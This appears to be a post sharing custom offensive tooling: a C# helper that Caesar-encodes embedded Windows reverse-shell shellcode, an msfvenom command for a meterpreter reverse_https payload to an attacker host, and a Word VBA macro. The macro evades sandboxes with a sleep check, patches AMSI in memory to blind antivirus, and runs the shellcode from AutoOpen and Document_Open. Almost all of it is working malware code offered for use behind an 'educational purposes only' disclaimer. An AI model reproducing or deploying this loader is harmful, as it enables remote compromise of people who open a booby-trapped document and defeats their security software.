All exploits are written my myself and are for educational purposes only, i would not be liable for any misuse!
###CUSTOM VBA SHELLCODE ENCRYPTER [HELPER] Generate a vbapplication shellcode with the rat_helper.exe below
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace helper
{
internal class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[598] {
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x89,0xe5,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x50,0x8b,0x58,0x20,0x8b,0x48,0x18,0x01,0xd3,
0x85,0xc9,0x74,0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xc1,
0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,
0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0xe8,0x3e,0x00,0x00,0x00,
0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x57,0x69,
0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x54,
0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x37,0x2e,0x30,0x3b,0x20,0x72,0x76,0x3a,
0x31,0x31,0x2e,0x30,0x29,0x20,0x6c,0x69,0x6b,0x65,0x20,0x47,0x65,0x63,0x6b,
0x6f,0x00,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,
0x68,0xbb,0x01,0x00,0x00,0xe8,0x2f,0x01,0x00,0x00,0x2f,0x2d,0x72,0x50,0x4c,
0x44,0x55,0x7a,0x71,0x52,0x61,0x52,0x33,0x5a,0x33,0x5a,0x6d,0x46,0x53,0x77,
0x54,0x6a,0x67,0x63,0x36,0x43,0x41,0x53,0x4a,0x50,0x39,0x51,0x6d,0x39,0x48,
0x57,0x50,0x4c,0x33,0x35,0x77,0x6e,0x4f,0x44,0x51,0x6b,0x45,0x64,0x6d,0x38,
0x34,0x4c,0x47,0x54,0x52,0x41,0x39,0x77,0x61,0x33,0x56,0x38,0x67,0x5f,0x4a,
0x41,0x53,0x75,0x4f,0x4f,0x48,0x51,0x4b,0x71,0x78,0x5a,0x4c,0x67,0x71,0x59,
0x4c,0x65,0x6b,0x53,0x57,0x67,0x62,0x51,0x66,0x4e,0x6f,0x51,0x49,0x32,0x35,
0x73,0x72,0x4f,0x37,0x35,0x33,0x4e,0x39,0x47,0x79,0x6f,0x6b,0x4a,0x41,0x6b,
0x4c,0x4e,0x79,0x58,0x33,0x74,0x61,0x72,0x66,0x36,0x66,0x31,0x63,0x6a,0x74,
0x46,0x48,0x6d,0x46,0x72,0x67,0x41,0x4d,0x4a,0x44,0x35,0x53,0x45,0x63,0x61,
0x74,0x6c,0x45,0x43,0x4d,0x6d,0x6b,0x67,0x63,0x71,0x49,0x6d,0x65,0x2d,0x66,
0x6e,0x30,0x36,0x4a,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,
0x53,0x68,0x00,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,
0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,
0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,
0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x14,0x68,
0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0xe8,
0x4a,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,
0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,
0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,
0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,
0x6b,0xff,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,0x2e,
0x36,0x36,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
// ceaser encoder
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
uint counter = 0;
//convert byte array toa string using the String builder class
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
// print encoded shelllcode to screen
Console.WriteLine("The VBA payload is: " + hex.ToString());
}
}
}
Now Input the output of the helper.exe {which is an encrypted reverse shellcode}into the VB shellcode runner below
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
another of my custom VBA runner with AMSI bypass abd other goodies read comments
Type MODULEINFO
lpBaseOfDLL As Long
SizeOfImage As Long
EntryPoint As Long
End Type
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function GetPrAddr Lib "KERNEL32" Alias "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function VirtPro Lib "KERNEL32" Alias "VirtualProtect" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProcess As LongPtr, lpflOldProtect As LongPtr) As LongPtr
Private Declare PtrSafe Function getmod Lib "KERNEL32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Sub patched Lib "KERNEL32" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Public Declare PtrSafe Function EnumProcessModulesEx Lib "psapi.dll" (ByVal hProcess As LongPtr, lphModule As LongPtr, ByVal cb As LongPtr, lpcbNeeded As LongPtr, ByVal dwFilterFlag As LongPtr) As LongPtr
Public Declare PtrSafe Function GetModuleBaseName Lib "psapi.dll" Alias "GetModuleBaseNameA" (ByVal hProcess As LongPtr, ByVal hModule As LongPtr, ByVal lpFileName As String, ByVal nSize As LongPtr) As LongPtr
Function MyMacro()
'Get current time, sleep 4 seconds, get time again. If less than 4 seconds have passed, assume we are in a AV sandbox and exit without running rest of macro.
Dim myTime
myTime = Time
Dim Timein As Date
Timein = Date + myTime
Sleep (4000)
Dim second_time
second_time = Time
Dim Timeout As Date
Timeout = Date + second_time
Dim subtime As Variant
subtime = DateDiff("s", Timein, Timeout)
Dim vOut As Integer
vOut = CInt(subtime)
If subtime < 3.5 Then
Exit Function
End If
'initialize variables
Dim Is64 As Boolean
Dim StrFile As String
Dim check As Boolean
Dim buf As Variant
Dim addr As LongPtr
Dim counter As LongPtr
Dim data As String
Dim res As LongPtr
Dim ipcheck As Boolean
ipcheck = False
Dim inscope As String
'define in scope IP's. We can use wildcards here.
inscope = "192.168.*"
'Call ip check function. Returns True if machine IP is in scope. If True, pass. If False, exit.
ipcheck = getMyIP(inscope)
If ipcheck Then
Else
Exit Function
End If
'Dynamically resolve amsi.dll
StrFile = Dir("c:\windows\system32\a?s?.d*")
'Call architecture function to determine if we are in 32 bit or 64 bit word. 64 bit returns True.
Is64 = arch()
'Call amsi check function to determine if amsi.dll is loaded into Word. This is the case in word 2019+. Returns True if Amsi is found.
check = amcheck(StrFile)
'This portion to delete document body and replace with auto text (the "legit" content)
'ActiveDocument.Content.Select
'Selection.Delete
'ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True
'If amsi is found, call amsi patching function. Pass architecture of Word as additional arg to function.
If check Then
patch StrFile, Is64
End If
'Include shellcode for both x86 and x64.
'also no encryption routine on this shellcode, might have to look into something like xor or rot or caeser cipher to strengten it
If Is64 Then
buf = Array(49, 125, 184, 25, 37, 29, 1, 53, 53, 53, 118, 134, 118, 133, 135, 125, 102, 7, 154, 125, 192, 135, 149, 125, 192, 135, 77, 125, 192, 135, 85, 134, 139, 125, 68, 236, 127, 127, 125, 192, 167, 133, 130, 102, 254, 125, 102, 245, 225, 113, _
150, 177, 55, 97, 85, 118, 246, 254, 66, 118, 54, 246, 23, 34, 135, 125, 192, 135, 85, 118, 134, 192, 119, 113, 125, 54, 5, 155, 182, 173, 77, 64, 55, 68, 186, 167, 53, 53, 53, 192, 181, 189, 53, 53, 53, 125, 186, 245, 169, 156, _
125, 54, 5, 133, 192, 125, 77, 121, 192, 117, 85, 126, 54, 5, 24, 139, 130, 102, 254, 125, 52, 254, 118, 192, 105, 189, 125, 54, 11, 125, 102, 245, 118, 246, 254, 66, 225, 118, 54, 246, 109, 21, 170, 38, 129, 56, 129, 89, 61, 122, _
110, 6, 170, 13, 141, 121, 192, 117, 89, 126, 54, 5, 155, 118, 192, 65, 125, 121, 192, 117, 81, 126, 54, 5, 118, 192, 57, 189, 118, 141, 125, 54, 5, 118, 141, 147, 142, 143, 118, 141, 118, 142, 118, 143, 125, 184, 33, 85, 118, 135, _
52, 21, 141, 118, 142, 143, 125, 192, 71, 30, 128, 52, 52, 52, 146, 125, 102, 16, 136, 126, 243, 172, 158, 163, 158, 163, 154, 169, 53, 118, 139, 125, 190, 22, 126, 252, 247, 129, 172, 91, 60, 52, 10, 136, 136, 125, 190, 22, 136, 143, _
130, 102, 245, 130, 102, 254, 136, 136, 126, 239, 111, 139, 174, 220, 53, 53, 53, 53, 52, 10, 29, 67, 53, 53, 53, 102, 110, 103, 99, 102, 107, 109, 99, 105, 110, 99, 107, 107, 53, 143, 125, 190, 246, 126, 252, 245, 240, 54, 53, 53, _
130, 102, 254, 136, 136, 159, 56, 136, 126, 239, 140, 190, 212, 251, 53, 53, 53, 53, 52, 10, 29, 8, 53, 53, 53, 100, 120, 161, 155, 101, 109, 138, 157, 148, 121, 130, 150, 169, 119, 107, 172, 123, 175, 101, 171, 125, 137, 134, 173, 151, _
155, 125, 124, 119, 108, 175, 148, 142, 161, 133, 119, 106, 134, 127, 106, 106, 134, 136, 134, 138, 170, 109, 158, 132, 131, 109, 153, 154, 105, 137, 165, 125, 124, 163, 125, 143, 159, 155, 128, 150, 158, 164, 133, 109, 121, 160, 129, 135, 134, 157, _
124, 120, 105, 139, 106, 163, 164, 128, 158, 156, 143, 165, 158, 141, 150, 166, 136, 109, 148, 162, 142, 124, 142, 109, 155, 153, 173, 174, 98, 109, 148, 159, 142, 135, 106, 125, 150, 167, 130, 143, 167, 152, 141, 119, 134, 132, 124, 167, 102, 162, _
159, 160, 123, 126, 169, 163, 110, 131, 107, 155, 159, 109, 103, 165, 153, 168, 174, 138, 161, 105, 109, 165, 105, 142, 163, 98, 158, 173, 173, 162, 172, 125, 133, 164, 170, 107, 173, 139, 155, 153, 160, 162, 122, 170, 125, 168, 122, 137, 133, 157, _
158, 155, 123, 158, 167, 133, 135, 175, 170, 134, 107, 156, 150, 121, 165, 133, 168, 155, 119, 148, 131, 132, 102, 106, 126, 165, 125, 110, 160, 120, 150, 134, 125, 157, 142, 53, 125, 190, 246, 136, 143, 118, 141, 130, 102, 254, 136, 125, 237, 53, _
103, 221, 185, 53, 53, 53, 53, 133, 136, 136, 126, 252, 247, 32, 138, 99, 112, 52, 10, 125, 190, 251, 159, 63, 148, 125, 190, 38, 159, 84, 143, 135, 157, 181, 104, 53, 53, 126, 190, 21, 159, 57, 118, 142, 126, 239, 170, 123, 211, 187, _
53, 53, 53, 53, 52, 10, 130, 102, 245, 136, 143, 125, 190, 38, 130, 102, 254, 130, 102, 254, 136, 136, 126, 252, 247, 98, 59, 77, 176, 52, 10, 186, 245, 170, 84, 125, 252, 246, 189, 72, 53, 53, 126, 239, 121, 37, 106, 21, 53, 53, _
53, 53, 52, 10, 125, 52, 4, 169, 55, 32, 223, 29, 138, 53, 53, 53, 136, 142, 159, 117, 143, 126, 190, 6, 246, 23, 69, 126, 252, 245, 53, 69, 53, 53, 126, 239, 141, 217, 136, 26, 53, 53, 53, 53, 52, 10, 125, 200, 136, 136, _
125, 190, 28, 125, 190, 38, 125, 190, 15, 126, 252, 245, 53, 85, 53, 53, 126, 190, 46, 126, 239, 71, 203, 190, 23, 53, 53, 53, 53, 52, 10, 125, 184, 249, 85, 186, 245, 169, 231, 155, 192, 60, 125, 54, 248, 186, 245, 170, 7, 141, _
248, 141, 159, 53, 142, 126, 252, 247, 37, 234, 215, 139, 52, 10)
Else
buf = Array(49, 29, 196, 53, 53, 53, 149, 102, 7, 190, 26, 153, 192, 135, 101, 192, 135, 65, 192, 135, 73, 68, 236, 127, 91, 102, 52, 192, 167, 93, 102, 245, 225, 113, 150, 177, 55, 97, 85, 246, 4, 66, 54, 252, 126, 170, 36, 135, 140, 192, _
135, 69, 192, 119, 113, 54, 5, 192, 117, 173, 186, 245, 169, 129, 54, 5, 133, 192, 125, 77, 192, 141, 85, 54, 8, 186, 254, 169, 113, 102, 52, 126, 192, 105, 192, 54, 11, 102, 245, 246, 4, 66, 225, 54, 252, 109, 21, 170, 41, 56, _
178, 45, 112, 178, 89, 170, 21, 141, 192, 141, 89, 54, 8, 155, 192, 65, 128, 192, 141, 81, 54, 8, 192, 57, 192, 54, 5, 190, 121, 89, 89, 144, 144, 150, 142, 143, 134, 52, 21, 141, 148, 143, 192, 71, 30, 181, 52, 52, 52, 146, _
157, 163, 154, 169, 53, 157, 172, 158, 163, 158, 137, 157, 129, 172, 91, 60, 52, 10, 102, 16, 136, 136, 136, 136, 136, 29, 115, 53, 53, 53, 130, 164, 175, 158, 161, 161, 150, 100, 106, 99, 101, 85, 93, 140, 158, 163, 153, 164, 172, 168, _
85, 131, 137, 85, 107, 99, 102, 112, 85, 137, 167, 158, 153, 154, 163, 169, 100, 108, 99, 101, 112, 85, 167, 171, 111, 102, 102, 99, 101, 94, 85, 161, 158, 160, 154, 85, 124, 154, 152, 160, 164, 53, 157, 111, 139, 174, 220, 52, 10, 136, _
136, 159, 56, 136, 136, 157, 240, 54, 53, 53, 29, 7, 53, 53, 53, 100, 168, 161, 122, 121, 122, 122, 153, 158, 102, 106, 125, 170, 109, 98, 148, 174, 159, 129, 98, 108, 151, 118, 155, 110, 140, 109, 164, 140, 154, 135, 104, 132, 134, 128, _
101, 166, 159, 150, 142, 162, 154, 173, 124, 137, 126, 143, 151, 150, 160, 150, 151, 130, 141, 108, 129, 127, 156, 134, 98, 153, 138, 153, 124, 168, 128, 53, 133, 157, 140, 190, 212, 251, 52, 10, 190, 251, 136, 157, 53, 103, 29, 185, 136, 136, _
136, 140, 136, 139, 157, 32, 138, 99, 112, 52, 10, 203, 159, 63, 148, 157, 181, 104, 53, 53, 190, 21, 159, 57, 133, 159, 84, 139, 157, 170, 123, 211, 187, 52, 10, 136, 136, 136, 136, 139, 157, 98, 59, 77, 176, 52, 10, 186, 245, 170, _
73, 157, 189, 72, 53, 53, 157, 121, 37, 106, 21, 52, 10, 132, 170, 2, 29, 127, 53, 53, 53, 159, 117, 157, 53, 69, 53, 53, 157, 53, 53, 117, 53, 136, 157, 141, 217, 136, 26, 52, 10, 200, 136, 136, 190, 28, 140, 157, 53, 85, _
53, 53, 136, 139, 157, 71, 203, 190, 23, 52, 10, 186, 245, 169, 4, 192, 60, 54, 248, 186, 245, 170, 26, 141, 248, 148, 29, 160, 52, 52, 52, 102, 110, 103, 99, 102, 107, 109, 99, 105, 110, 99, 107, 107, 53, 240, 37, 234, 215, 139, _
159, 53, 136, 52, 10)
End If
'Create new space in memory within current process
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
'Copy shellcode to newly created memory
For counter = LBound(buf) To UBound(buf)
data = Hex(buf(counter))
patched ByVal (addr + counter), 1, ByVal ("&H" & data)
Next counter
'create thread to execute shellcode
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Function arch() As Boolean
'check architecture of current word process
#If Win64 Then
arch = True
#Else
arch = False
#End If
End Function
Public Function getMyIP(ipcheck As String) As Boolean
'uses WMI to get all IP's associated with machine. Each one is then checked against the wildcarded IP/network. If a match is found, returns True
Dim objWMI As Object
Dim objQuery As Object
Dim objQueryItem As Object
Dim vIpAddress
Dim counter As Integer
Dim ips() As String
Set objWMI = GetObject("winmgmts:\\.\root\cimv2")
Set objQuery = objWMI.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each objQueryItem In objQuery
For Each vIpAddress In objQueryItem.ipaddress
If CStr(vIpAddress) Like ipcheck Then
getMyIP = True
End If
Next
Next
End Function
Function amcheck(StrFile As String) As Boolean
'Checks for amsi.dll in word process. If found, returns True
Dim szProcessName As String
Dim mdi As MODULEINFO
Dim hMod(0 To 1023) As LongPtr
Dim res As LongPtr
amcheck = False
res = EnumProcessModulesEx(-1, hMod(0), 1024, cbNeeded, &H3)
For i = 0 To UBound(hMod)
szProcessName = String$(50, 0)
GetModuleBaseName -1, hMod(i), szProcessName, Len(szProcessName)
If Left(szProcessName, 8) = StrFile Then
amcheck = True
End If
Next i
End Function
Function patch(StrFile As String, Is64 As Boolean)
'patches amsi.dll in memory in order to disable it. Loads memory address of amsi.dll and then locates the AmsiUacInitialize function within it. The AmsiScanBuffer and AmsiScanString functions are located via relative offset from AmsiUacInitialize and then overwritten with a nop and then a ret to disable them.
' Depending on architecture these offsets vary, so a case is included for x86 and x64
Dim lib As LongPtr
Dim Func_addr As LongPtr
Dim temp As LongPtr
Dim old As LongPtr
Dim off As Integer
lib = getmod(StrFile)
If Is64 Then
off = 96
Else
off = 80
End If
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, 0)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
If Is64 Then
off = 352
Else
off = 256
End If
Func_addr = GetPrAddr(lib, "Am" & Chr(115) & Chr(105) & "U" & Chr(97) & "c" & "Init" & Chr(105) & Chr(97) & "lize") - off
temp = VirtPro(ByVal Func_addr, 32, 64, old)
patched ByVal (Func_addr), 1, ByVal ("&H" & "90")
patched ByVal (Func_addr + 1), 1, ByVal ("&H" & "C3")
temp = VirtPro(ByVal Func_addr, 32, old, 0)
End Function
'macro name is test which calls the main method
Sub test()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub